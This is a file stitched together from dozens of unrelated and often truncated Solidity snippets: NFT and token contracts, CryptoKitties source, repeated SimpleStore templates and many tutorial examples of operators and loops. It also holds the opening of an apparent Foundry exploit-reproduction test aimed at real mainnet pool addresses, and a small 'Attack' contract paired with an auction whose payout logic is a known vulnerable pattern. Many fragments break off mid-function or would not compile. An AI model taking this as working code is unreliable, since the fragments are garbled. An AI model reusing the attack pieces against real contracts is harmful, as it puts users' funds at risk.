import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";

contract Einstein is ERC721URIStorage, Ownable {
    /** 
    From the `Counters` docs:
    Provides counters that can only be incremented, decremented or reset. 
    This can be used e.g. to track the number
    of elements in a mapping, issuing ERC721 ids, or counting request ids.
    Include with `using Counters for Counters.Counter;` 
    */

    using Counters for Counters.Counter;
    // tracks the number of minted NFTs
    Counters.Counter private _tokenIds;

    // calling ERC721 constructor
    constructor() ERC721("Einstein NFT", "EIN") {}

    // mints new NFTs. Can be called only by the deployer (s/c owner)
    function mintNFT(address recipient, string memory tokenURI)

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.1;

import "./ERC20.sol";
import "./Ownable.sol";
import "./Math.sol";

contract AYRA is ERC20, Ownable {

    using Math for uint256;

    address public walletOrigin = 0xE9fe09A55377f760128800e6813F2E2C07db60Ad;
    address public walletMarketProtection = 0x0bD042059368389fdC3968d671c40319dEb39F2c;
    address public walletFoundingPartners = 0x454d1252EC7c1Dc7E4D0A92A84A3Da2BD158b1D7;
    address public walletBlockedFoundingPartners = 0x8f7F2243A34169931741ba7eB257841C639Bc165;
    address public walletSocialPartners = 0xe307d66905D10e7e51B0BFb12E7e64C876a04215;
    address public walletProgrammersAndPartners = 0xc21713ef49a48396c1939233F3B24E1c4CCD09a4;
    address public walletPrivateInvestors = 0x252Fa9eD5F51e3A9CF1b1890f479775eFeaa653d;
    address public walletAidsAndDonations = 0x1EEffDA40C880a93E19ecAF031e529C723072e51;

    address public operatorAddress;

    uint256 private _maxBurnAmount = 100_000_000_000_000 * (10 ** decimals());
    uint256 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";


contract NFTPresale is ERC721, Ownable {

    IERC20 public erc20Token;
    uint256 public _nextTokenId;
    uint256 public price;
    uint256 public priceInNative;

    constructor(address initialOwner, address _erc20Token, uint256 _price)
    ERC721("NAME_OF_TOKEN", "NOT")
    Ownable(initialOwner)
    {
        erc20Token = IERC20(_erc20Token);
        price = _price;
    }


    function _safeMint(address to) internal {
        uint256 tokenId = _nextTokenId++;
        _safeMint(to, tokenId);
    }

    function preSaleMintWithERC20Token() public onlyOwner {
        // transfer erc20
        require(erc20Token.transferFrom(msg.sender, address(this), price), "ERC20: transfer failed");

        // mint nft
        _safeMint(msg.sender);
    }

    function preSaleMintWithNativeToken()

pragma solidity ^0.4.18;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
  /**
  * @dev Multiplies two numbers, throws on overflow.
  */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  /**
  * @dev Integer division of two numbers, truncating the quotient.
  */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  /**
  * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
  */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  /**
  * @dev Adds two numbers, throws on overflow.
  */
  function add(uint2

pragma solidity ^0.4.18;
contract pop{
  string public constant h= "danish";
  uint age=19;
 function coursetro() public {
  
  uint age=13;
  }
  function setter(string h, uint age) public {}
  function getter() public constant returns (string, uint){ 
    return(h,age);}

}

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../interface.sol";

interface IPool {
    function swap(
        address recipient,
        bool zeroForOne,
        int256 amountSpecified,
        uint160 sqrtPriceLimitX96,
        bytes calldata data
    ) external;

    function flash(
        address recipient,
        uint256 amount0,
        uint256 amount1,
        bytes calldata data
    ) external;
}

interface IRouterExp {
    function uniswapV3SwapCallback(
        int256 amount0Delta,
        int256 amount1Delta,
        bytes memory data
    ) external;
}

interface IVault {
    function deposit (uint256 deposit0,
        uint256 deposit1,
        address to
    ) external;

    function withdraw(
        uint256,
        address
    ) external returns (uint256, uint256);
}

contract IchiTest is Test {
    IPool pool = IPool(0x1a34EaBbe928Bf431B679959379b2225d60D9cdA);
    IRouterExp router = IRouterExp(0xE9BD439259DE0347DC26B86b3E73437E9385828

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IEnglishAuction {
	function bid() external payable;
}

contract Attack {
	function callBid(address _englishAuc) external payable {
		IEnglishAuction englishAuc = IEnglishAuction(_englishAuc);
		englishAuc.bid{value: 3 ether}();
	}

	receive() external payable { }

function end() external {
	require(started, "not started");
	require(block.timestamp >= endAt, "not ended");
	require(!ended, "ended");

	ended = true;
	
	if (highestBidder != address(0)) {
		nft.safeTransferFrom(address(this), highestBidder, nftId);
		seller.transfer(highestBid);
	} else {
		nft.safeTransferFrom(address(this), seller, nftId);
	}
	
	emit End(highestBidder, highestBid);

function safeTransferFrom(address from, address to, uint256 id) external {
	transferFrom(from, to, id);
	
	require(
		to.code.length == 0
			|| IERC721Receiver(to).onERC721Received(msg.sender, from, id, "")
			== IERC721Receiver.onERC721Received.selector,
			"unsafe recipient"
	);

function transferFrom(address from, address to, uint256 id) public {
	require(from == _ownerOf[id], "from != owner");
	require(to != address(0), "transfer to zero address");
	require(_isApprovedOrOwner(from, msg.sender, id), "not authorized");  
	
	_balanceOf[from]--;
	_balanceOf[to]++;
	_ownerOf[id] = to;
	
	delete _approvals[id];
		
	emit Transfer(from, to, id);

function end() external {
	require(started, "not started");
	require(block.timestamp >= endAt, "not ended");
	require(!ended, "ended");
		
	ended = true;

	if (highestBidder != address(0)) {	
		nft.safeTransferFrom(address(this), highestBidder, nftId);		
		seller.transfer(highestBid);	
	} else {
		nft.safeTransferFrom(address(this), seller, nftId);	
	}  
	
	emit End(highestBidder, highestBid);

function bid() external payable {
	require(started, "not started");
	require(block.timestamp < endAt, "ended");
	require(msg.value > highestBid, "value < highest");
		
	if (highestBidder != address(0)) {
		bids[highestBidder] += highestBid;
	}	  
	
	highestBidder = msg.sender;
	highestBid = msg.value;
	
	emit Bid(msg.sender, msg.value);

constructor(address _nft, uint256 _nftId, uint256 _startingBid) {
	nft = IERC721(_nft);
	nftId = _nftId;
	
	seller = payable(msg.sender);
	highestBid = _startingBid;

IERC721 public nft;
uint256 public nftId;

address payable public seller;
uint256 public endAt;
bool public started;
bool public ended;

address public highestBidder;
uint256 public highestBid;
mapping(address => uint256) public bids

interface IERC721 {
	function safeTransferFrom(address from, address to, uint256 tokenId) external;
	function transferFrom(address, address, uint256) external;

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface IERC721 {
    function safeTransferFrom(address from, address to, uint256 tokenId)
        external;
    function transferFrom(address, address, uint256) external;
}

contract EnglishAuction {
    event Start();
    event Bid(address indexed sender, uint256 amount);
    event Withdraw(address indexed bidder, uint256 amount);
    event End(address winner, uint256 amount);

    IERC721 public nft;
    uint256 public nftId;

    address payable public seller;
    uint256 public endAt;
    bool public started;
    bool public ended;

    address public highestBidder;
    uint256 public highestBid;
    mapping(address => uint256) public bids;

    constructor(address _nft, uint256 _nftId, uint256 _startingBid) {
        nft = IERC721(_nft);
        nftId = _nftId;

        seller = payable(msg.sender);
        highestBid = _startingBid;
    }

    function start() external {
        require(!started, "started");
        require(msg.sender == selle

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract CarRental {
    address public owner;
    uint256 public rentalPrice;
    mapping(address => uint256) public deposits;

    struct Car {
        string name;
        bool available;
    }

    mapping(uint256 => Car) public cars;

    event CarRegistered(uint256 carId, string name);
    event CarRented(uint256 carId, address renter, uint256 deposit);
    event CarReturned(uint256 carId, address renter);

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    function CarRental(uint256 _rentalPrice) public {
        owner = msg.sender;
        rentalPrice = _rentalPrice;
    }

    function registerCar(uint256 _carId, string _name) external onlyOwner {
        cars[_carId] = Car(_name, true);
        emit CarRegistered(_carId, _name);
    }

    function rentCar(uint256 _carId) external payable {
        require(cars[_carId].available);
        require(msg.v

// CryptoKitties Source code
// Copied from: https://etherscan.io/address/0x06012c8cf97bead5deae237070f9587f8e7a266d#code

pragma solidity ^0.4.20;

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contract

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  

// Token name
function name() public view returns (string) {}

// Token symbol
function symbol() public view returns (string) {}

// Number of decimal places
function decimals() public view returns (uint8) {}

// Total number of tokens
function totalSupply() public view returns (uint256) {}

// Token balance on the account
function balanceOf(address _owner) public view returns (uint256 balance) {}

// Token transfer function
function transfer(address _to, uint256 _value) public returns (bool success) {}

// Write-off function
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {}

// Transaction confirmation
function approve(address _spender, uint256 _value) public returns (bool success) {

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }


  

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.4.18;

// Creating a contract
contract SolidityTest {
    // Defining function to demonstrate conditional operator
    function sub(uint a, uint b) public pure returns (uint) {
        uint result = (a > b ? a - b : b - a);
        return result;
    }
}

pragma solidity ^0.4.18;

contract Types {
    uint i = 10;
    bool even;

    function decision_making() public payable returns (bool) {
        if (i % 2 == 0) {
            even = true;
        } else {
            even = false;
        }
        return even;
    }

    function getResult() public view returns (bool) {
        return even;
    }
}

pragma solidity ^0.4.18;

contract Types {
    uint i = 10;
    string result;

    function decision_making() public returns (string memory) {
        if (i < 10) {
            result = "less than 10";
        } else if (i == 10) {
            result = "equal to 10";
        } else {
            result = "greater than 10";
        }
        return result;
    }

    function getResult() public view returns (string memory) {
        return result;
    }
}

pragma solidity ^0.4.18;

contract Types {
    uint i = 10;

    function decision_making() public view returns (bool) {
        if (i < 10) {
            return true;
        } else {
            return false;
        }
    }
}

pragma solidity ^0.4.18;

// Creating a contract
contract Types {
    // Declaring a dynamic array
    uint[] data;

    // Function to demonstrate 'For loop'
    function loop() public returns (uint[] memory) {
        for (uint i = 0; i < 5; i++) {
            data.push(i);
        }
        return data;
    }

    // Function to get the data array
    function getData() public view returns (uint[] memory) {
        return data;
    }
}

pragma solidity ^0.4.18;

// Creating a contract
contract Types {
    // Declaring a dynamic array
    uint[] data;

    // Declaring state variable
    uint8 j = 0;

    // Function to demonstrate 'Do-While loop'
    function loop() public returns (uint[] memory) {
        do {
            j++;
            data.push(j);
        } while (j < 5);
        
        return data;
    }
        // Function to get the data array
    function getData() public view returns (uint[] memory) {
        return data;
    }
}

pragma solidity ^0.4.18;

// Creating a contract
contract Types {
    // Declaring a dynamic array
    uint[] data;

    // Declaring a state variable
    uint8 j = 0;

    // Function to demonstrate while loop and return the array
    function loop() public returns (uint[] memory) {
        while (j < 5) {
            j++;
            data.push(j);
        }
        return data;
    }

    // Function to get the data array
    function getData() public view returns (uint[] memory) {
        return data;
    }
}

// Solidity program to 
// demonstrate the use 
// of 'if-else if-else statement' 
pragma solidity ^0.4.18; 
// Creating a contract 
contract Types
{ 
      // Declaring state variables 
      uint i = 10; 
      string result; 
      // Defining function to
      // demonstrate the use 
      // of 'if...else if...else 
      // statement' 
      function decision_making() 
      public returns(string memory)
      {
          if(i<10)
          { 
              result = "less than 10";
          } 
          else if(i == 10)
          { 
              result = "equal to 10"; 
          } 
          else
          {
            result = "greater than 10";
          }
          return result;
      }

// Solidity program to 
// demonstrate the use of 
// 'if...else' statement 
pragma solidity ^0.4.18;
// Creating a contract 
contract Types
{ 
    // Declaring state variables 
    uint i = 10; 
    bool even; 
    // Defining function to 
    // demonstrate the use of 
    // 'if...else statement' 
    function decision_making() 
    public payable returns(bool)
    { 
        if(i%2 == 0)
        { 
            even = true; 
        } 
        else
        {
            even = false;
        }
        return even; 
    }

// Solidity program to 
// demonstrate the 
// use of 'if statement' 
pragma solidity ^0.4.18; 
// Creating a contract 
contract Types
{
    // Declaring state variable 
    uint i = 10; 
    // Defining function to 
    // demonstrate use of 
    // 'if statement' 
    function decision_making() 
    public returns(bool)
    {
        if(i<10)
        { 
            return true; 
        }
    }

// Solidity program to 
// demonstrate how to 
// write a smart contract 
pragma solidity ^0.4.18; 
// Defining a contract 
contract Test 
{ 
      // Declaring state variables 
      uint public var1; 
      uint public var2; 
      uint public sum; 
      // Defining public function 
      // that sets the value of 
      // the state variable 
      function set(uint x, uint y) public 
      { 
          var1 = x; 
          var2=y; 
          sum=var1+var2; 
      } 
      // Defining function to 
      // print the sum of 
      // state variables 
      function get()
      public view returns (uint)
      { 
          return sum; 
      } 

pragma solidity ^0.4.18;
contract SimpleStore {
uint[6] data;
uint x;
// Defining function to
// assign values to array
function array_example() public returns (uint[6] memory)
{
  data = [uint(10), 20, 30, 40, 50, 60];
}
function result() public view returns(uint[6] memory){
return data;
}

pragma solidity ^0.4.18;
contract SimpleStore {
uint[6] data;
uint x;
// Defining function to
// assign values to array
function array_example() public returns (uint[6] memory)
{
  data = [uint(10), 20, 30, 40, 50, 60];
}
function result() public view returns(uint[6] memory){
return data;
}

pragma solidity ^0.4.18;

// Creating a contract
contract Types {
    // Declaring a dynamic array
    uint[] data;

    // Function to demonstrate 'For loop'
    function loop() public returns (uint[] memory) {
        for (uint i = 0; i < 5; i++) {
            data.push(i);
        }
        return data;
    }
}

// Solidity program to demonstrate
// Assignment Operator
pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest
{
// Declaring variables
uint16 public assignment = 20;
uint public assignment_add = 50;
uint public assign_sub = 50;
uint public assign_mul = 10;
uint public assign_div = 50;
uint public assign_mod = 32;
// Defining function to
// demonstrate Assignment Operator
function getResult() public
{
  assignment_add += 10;
  assign_sub -= 20;
  assign_mul *= 10;
  assign_div /= 10;
  assign_mod %= 20;
  return ;
}

pragma solidity ^0.4.18;

// Creating a contract
contract Types {
    // Declaring a dynamic array
    uint[] data;

    // Declaring state variable
    uint8 j = 0;

    // Function to demonstrate 'Do-While loop'
    function loop() public returns (uint[] memory) {
        do {
            j++;
            data.push(j);
        } while (j < 5);
        
        return data;
    }
}

// Solidity program to  
// demonstrate assert  
// statement  
pragma solidity ^0.4.18;  
  
// Creating a contract  
contract assertStatement 
{  
    // Defining a state variable  
    bool result;  
  
    // Defining a function  
    // to check condition  
    function checkOverflow(uint8 _num1, uint8 _num2) public 
    {  
        uint8 sum = _num1 + _num2;  
        assert(sum<=255); 
        result = true;
    } 
    // Defining a function to  
    // print result of assert  
    // statement  
    function getResult() public view returns(string memory) 
    {  
        if(result == true) 
        {  
            return "No Overflow";  
        } 
        else
        {  
            return "Overflow exist"; 
        }  
    }  

pragma solidity ^0.4.18;

// Creating a contract
contract Types {
    // Declaring a dynamic array
    uint[] data;

    // Declaring a state variable
    uint8 j = 0;

    // Function to demonstrate while loop
    function loop() public returns (uint[] memory) {
        while (j < 5) {
            j++;
            data.push(j);
        }
        return data;
    }
}

// Solidity program to  
// demonstrate pure functions  
pragma solidity ^0.4.18; 
// Defining a contract  
contract Test 
{  
    // Defining pure function to  
    // calculate product and sum  
    // of 2 numbers  
    function getResult()  
    public pure returns(uint product, uint sum) 
    {  
        uint num1 = 75;  
        uint num2 = 92;  
        product = num1 * num2;  
        sum = num1 + num2;  
    }  
}

pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest
{
// Defining function to demonstrate
// conditional operator
function sub( uint a, uint b)
public view returns( uint)
{
uint result = (a > b? a-b : b-a);
return result;
}

// Solidity program to demonstrate
// Inline Assembly  
pragma solidity ^0.4.0;
  
// Creating a contract
contract InlineAssembly
{  
    // Defining function
  function add(uint a) view returns (uint b)
    {
        // Inline assembly code
        assembly
        {
  
            // Creating a new variable 'c'
            // Calculate the sum of 'a+16'  
            // with the 'add' opcode  
            // assign the value to the 'c'  
            let c := add(a, 16)  
  
            // Use 'mstore' opcode to  
            // store 'c' in memory  
            // at memory address 0x80  
            mstore(0x80, c)  
            { 
              // Creating a new variable'  
              // Calculate the sum of 'sload(c)+12'  
              // means values in variable 'c'  
              // with the 'add' opcode  
              // assign the value to 'd'  
              let d := add(sload(c), 12)  
  
              // assign the value of 'd' to 'b'  
              b := d  
  
              // 'd' is deall

// Solidity program to  
// demonstrate view  
// functions  
pragma solidity ^0.4.18;  
  
// Defining a contract  
contract Test 
{ 
    // Declaring state  
    // variables  
    uint num1 = 2;  
    uint num2 = 4; 
    // Defining view function to  
    // calculate product and sum  
    // of 2 numbers  
    function getResult() 
    public view returns(uint product, uint sum) 
    {  
        uint num1 = 80;  
        uint num2 = 26;  
        product = num1 * num2; 
        sum = num1 + num2;  
    }  

pragma solidity ^0.4.18;

// Creating a contract
contract Test {
    // Declaring a structure
    struct Book {
        string name;
        string writer;
        uint id;
        bool available;
    }

    // Declaring a structure object
    Book public book1;
    Book public book2;

    // Constructor to initialize book2
    function Test() public {
        book2 = Book("Building Ethereum DApps", "Roberto Infante", 2, false);
    }

    // Function to set values for book1
    function set_book_detail() public {
        book1 = Book("Introducing Ethereum and Solidity", "Chris Dannen", 1, true);
    }

    // Function to get book2 details
    function book_info() public view returns (string memory, string memory, uint, bool) {
        return (book2.name, book2.writer, book2.id, book2.available);
    }

    // Function to get book1 details
    function get_details() public view returns (string memory, uint) {
        return (book1.name, book1.id);
    }
}

// Solidity program to demonstrate  
// Function overloading  
pragma solidity ^0.4.18;  
contract SimpleStore 
{  
  function getSum(uint a, uint b) public pure returns(uint) 
  {  
    return a + b;  
  }  
  function getSum(uint a, uint b, uint c) public pure returns(uint) 
  {  
    return a + b + c;  
  }  
  function callSumWithTwoArguments() public pure returns(uint) 
  {  
    return getSum(1,2);  
  }  
  function callSumWithThreeArguments() public pure returns(uint) 
  {  
    return getSum(1,2,3);  
  }  

// Solidity program to demonstrate
// Assignment Operator
pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest
{
// Declaring variables
uint16 public assignment = 20;
uint public assignment_add = 50;
uint public assign_sub = 50;
uint public assign_mul = 10;
uint public assign_div = 50;
uint public assign_mod = 32;
// Defining function to
// demonstrate Assignment Operator
function getResult() public
{
  assignment_add += 10;
  assign_sub -= 20;
  assign_mul *= 10;
  assign_div /= 10;
  assign_mod %= 20;
  return ;
}

// Solidity program to  
// demonstrate the working  
// of the interface  
pragma solidity 0.4.18;  
// A simple interface  
interface InterfaceExample 
{   
    // Functions having only  
    // declaration not definition  
    function getStr() 
    public view returns(string memory);  
    function setValue(uint _num1, uint _num2) public;  
    function add() 
    public view returns(uint);  
} 
 
// Contract that implements interface  
contract thisContract is InterfaceExample 
{  
    // Private variables  
    uint private num1;  
    uint private num2;  
  
    // Function definitions of functions  
    // declared inside an interface  
    function getStr() public view returns(string memory) 
    {  
        return "GeeksForGeeks";  
    } 
    // Function to set the values  
    // of the private variables  
    function setValue(uint _num1, uint _num2) public 
    {  
        num1 = _num1;  
        num2 = _num2;  
    }  
    // Function to add 2 numbers  
    function add() public view returns(ui

pragma solidity ^0.4.18;
contract SimpleStore
{
 function callKeccak256() public pure returns(bytes32 result)
 {
 return keccak256("ABC");
 }
}

// Solidity program to
// demonstrate the
// exponentiation operation
pragma solidity ^0.4.18;
// Creating a contract
contract gfgExpo
{
 // Declaring the state
 // variables
 uint16 firstNo ;
 uint16 secondNo ;
 // Defining the first function
 // to set the value of
 // first variable
 function firstNoSet(uint16 x) public
 {
 firstNo = x;
 }
 // Defining the function
 // to set the value of
 // the second variable
 function secondNoSet(uint16 y) public
 {
 secondNo = y;
 }
 // Defining the function to
 // calculate the exponent
 function Expo() view public returns (uint256)
 {
 uint256 answer = firstNo ** secondNo ;
 return answer;
 }
}

// Solidity program to demonstrate
// Bitwise Operator
pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest
{
// Declaring variables
uint16 public a = 20;
uint16 public b = 10;
// Initializing a variable
// to '&' value
uint16 public and = a & b;
// Initializing a variable
// to '|' value
uint16 public or = a | b;
// Initializing a variable
// to '^' value
uint16 public xor = a ^ b;
// Initializing a variable
// to '<<' value
uint16 public leftshift = a << b;
// Initializing a variable
// to '>>' value
uint16 public rightshift = a >> b;
// Initializing a variable
// to '~' value
uint16 public not = ~a ;
}

// Solidity program to
// demonstrate the
// Modulus operation
pragma solidity ^0.4.18;
// Creating a contract
contract gfgModulo
{
 // Declaring state variables
 uint firstNo ;
 uint secondNo ;
 // Defining a function
 // to set the value of
 // the first variable
 function firstNoSet(uint x) public
 {
 firstNo = x;
 }
 // Defining a function
 // to set the value of
 // the second variable
 function secondNoSet(uint y) public
 {
 secondNo = y;
 }
 // Defining a function to return
 // the modulus value
 function Modulo() view public returns (uint)
 {
 uint answer = firstNo % secondNo ;
 return answer;
 }

pragma solidity ^0.4.18; contract Types { 
enum week_days 
{ 
Monday, 
Tuesday, 
Wednesday, 
Thursday, 
Friday, 
Saturday, 
Sunday 
} 
week_days week; week_days choice; 
week_days constant default_value = week_days.Sunday; function set_value() public { choice = week_days.Thursday; 
 
} 
function get_choice( 
) public view returns (week_days) { return choice; 
} 
function getdefaultvalue( ) public pure returns(week_days) { return default_value; 
} 
} 

// Solidity program to
// demontstrate the
// division operation
pragma solidity 0.4.18;
// Creating a contract
contract gfgDivide
{
 // Declaring the
 // state variables
 int128 firstNo ;
 int128 secondNo ;
 // Defining a function
 // to set the value of
 // the first variable
 function firstNoSet(int64 x) public
 {
 firstNo = x;
 }
 // Defining function
 // to set the value of
 // the second variable
 function secondNoSet(int64 y) public
 {
 secondNo = y;
 }
 // Defining function to
 // return the result
 function Divide() view public returns (int128)
 {
 int128 answer = firstNo / secondNo ;
 return answer;
 }

// Solidity program to demonstrate  
// function declaration  
pragma solidity ^0.4.18;  
// Creating a contract  
contract Test 
{ 
    // Defining function to calculate sum of 2 numbers  
    function add()public view returns(uint) 
    { 
        uint num1 = 120;  
        uint num2 = 165;  
        uint sum = num1 + num2;  
        return sum;  
    } 
}

// Solidity program to demonstrate
// Logical Operators
pragma solidity ^0.4.18;
// Creating a contract
contract logicalOperator{
// Defining function to demonstrate
// Logical operator
function Logic(bool a, bool b)
public view returns(bool, bool, bool){
// Logical AND operator
bool and = a&&b;
// Logical OR operator
bool or = a||b;
// Logical NOT operator
bool not = !a;
return (and, or, not);
}
}

pragma solidity 0.4.18;
contract gfgMultiply
{
 int128 firstNo ;
 int128 secondNo ;
 function firstNoSet(int128 x) public
 {
 firstNo = x;
 }
 function secondNoSet(int128 y) public
 {
 secondNo = y;
 }
 function multiply() view public returns (int128)
 {
 int128 answer = firstNo * secondNo ;
 return answer;
 }
}

pragma solidity ^0.4.18;  
contract Calculator 
{  
  function getResult() public view returns(uint);  
}  
contract Test is Calculator 
{  
  function getResult() public view returns(uint) 
  {  
      uint a = 35;  
      uint b = 265;  
      uint result = a + b;  
      return result;  
  }  

// Solidity program to
// demonstrate the subtraction
pragma solidity 0.4.18;
contract gfgSubract
{
 // Intializing the
 // state variables
 int16 firstNo=6 ;
 int16 secondNo=10;
 // Defining a function
 // to subtract two numbers
 function Sub() view public returns (int16)
 {
 int16 ans = firstNo - secondNo ;
 // Difference amount
 return ans;
 }

// Solidity program to demonstrate
// Relational Operator
pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest
{
// Declaring variables
uint16 public a = 20;
uint16 public b = 10;
// Initializing a variable
// with bool equal result
bool public eq = a == b;
// Initializing a variable
// with bool not equal result
bool public noteq = a != b;
// Initializing a variable
// with bool greater than result
bool public gtr = a > b;
// Initializing a variable
// with bool less than result
bool public les = a < b;
// Initializing a variable
// with bool greater than equal to result
bool public gtreq = a >= b;
// Initializing a variable
// bool less than equal to result
bool public leseq = a <= b;

// Solidity program to
// demonstrate addition
pragma solidity 0.4.18;
contract MathPlus
{
 // Declaring the state
 // variables
 uint firstNo ;
 uint secondNo ;
 // Defining the function
 // to set the value of the
 // first variable
 function firstNoSet(uint x) public
 {
 firstNo = x;
 }
 // Defining the function
 // to set the value of the
 // second variable
 function secondNoSet(uint y) public
 {
 secondNo = y;
 }
 // Defining the function
 // to add the two variables
 function add() view public returns (uint)
 {
 uint Sum = firstNo + secondNo ;
 // Sum of two variables
 return Sum;
 }

// Solidity contract to demonstrate
// Arithmetic Operator
pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest
{
// Initializing variables
uint16 public a = 20;
uint16 public b = 10;
// Initializing a variable
// with sum
uint public sum = a + b;
// Initializing a variable
// with the difference
uint public diff = a - b;
// Initializing a variable
// with product
uint public mul = a * b;
// Initializing a variable
// with quotient
uint public div = a / b;
// Initializing a variable
// with modulus
uint public mod = a % b;
// Initializing a variable
// decrement value
uint public dec = --b;
// Initializing a variable
// with increment value
uint public inc = ++a;
}

pragma solidity ^0.4.18;
contract Test {
function callAddMod() public pure returns(uint)
{
return addmod(4, 5, 3);
}
function callMulMod() public pure returns(uint)
{
return mulmod(4, 5, 3);
}

pragma solidity ^0.4.18;

contract SimpleStore {
    string store = "Satoshi NAKAMOTO";

    // Defining a function to return value of variable 'store'
    function getStore() public view returns (string) {
        return store;
    }
}

pragma solidity ^0.4.18;
// Defining contract 
contract Parent 
{ 
    // Declaring internal 
    // state variable 
    uint internal sum; 
 
    // Defining external function 
    // to set value of internal 
    // state variable sum 
    function setValue() external 
    { 
        uint a = 10; 
        uint b = 20; 
        sum = a + b; 
    } 
 
    // Adding a getter function for 'sum' 
    function getValue() external view returns (uint) 
    { 
        return sum; 
    } 
} 
 
// Inheriting from Parent contract 
contract Child is Parent {} 
 
// Defining calling contract 
contract Caller  
{ 
    // Creating child contract object 
    Child cc = new Child(); 
 
    // Defining function to call 
    // setValue and getValue functions 
    function testInheritance() public returns (uint) 
    { 
        cc.setValue(); 
        return cc.getValue(); 
    } 

// Solidity program to  
// demonstrate how to  
// write a smart contract  
pragma solidity 0.4.18; 
// Defining a contract  
contract Test 
{  
      // Declaring state variables  
      uint public var1;  
      uint public var2;  
      uint public sum; 
      // Defining public function  
      // that sets the value of  
      // the state variable  
      function set(uint x, uint y) public
      {  
          var1 = x;  
          var2=y;  
          sum=var1+var2;  
      } 
      // Defining function to  
      // print the sum of  
      // state variables  
      function get() 
      public view returns (uint) 
      {  
          return sum; 
      }  

// Solidity program to demonstrate 
// Relational Operator 
pragma solidity ^0.4.18; 
// Creating a contract 
contract SolidityTest 
{ 
// Declaring variables 
uint16 public a = 20; 
uint16 public b = 10; 
// Initializing a variable 
// with bool equal result 
bool public eq = a == b; 
// Initializing a variable 
// with bool not equal result 
bool public noteq = a != b; 
// Initializing a variable 
// with bool greater than result 
bool public gtr = a > b; 
// Initializing a variable 
// with bool less than result 
bool public les = a < b; 
// Initializing a variable 
// with bool greater than equal to result 
bool public gtreq = a >= b; 
// Initializing a variable 
// bool less than equal to result 
bool public leseq = a <= b; 
}

// Arithmetic Operator 
pragma solidity ^0.4.18; 
// Creating a contract 
contract SolidityTest 
{ 
// Initializing variables 
uint16 public a = 20; 
uint16 public b = 10; 
// Initializing a variable 
// with sum 
uint public sum = a + b; 
// Initializing a variable 
// with the difference 
uint public diff = a - b; 
// Initializing a variable 
// with product 
uint public mul = a * b; 
// Initializing a variable 
// with quotient 
uint public div = a / b; 
// Initializing a variable 
// with modulus 
uint public mod = a % b; 
// Initializing a variable 
// decrement value 
uint public dec = --b; 
// Initializing a variable 
// with increment value 
uint public inc = ++a; 

// Solidity contract to demonstrate
// Arithmetic Operator
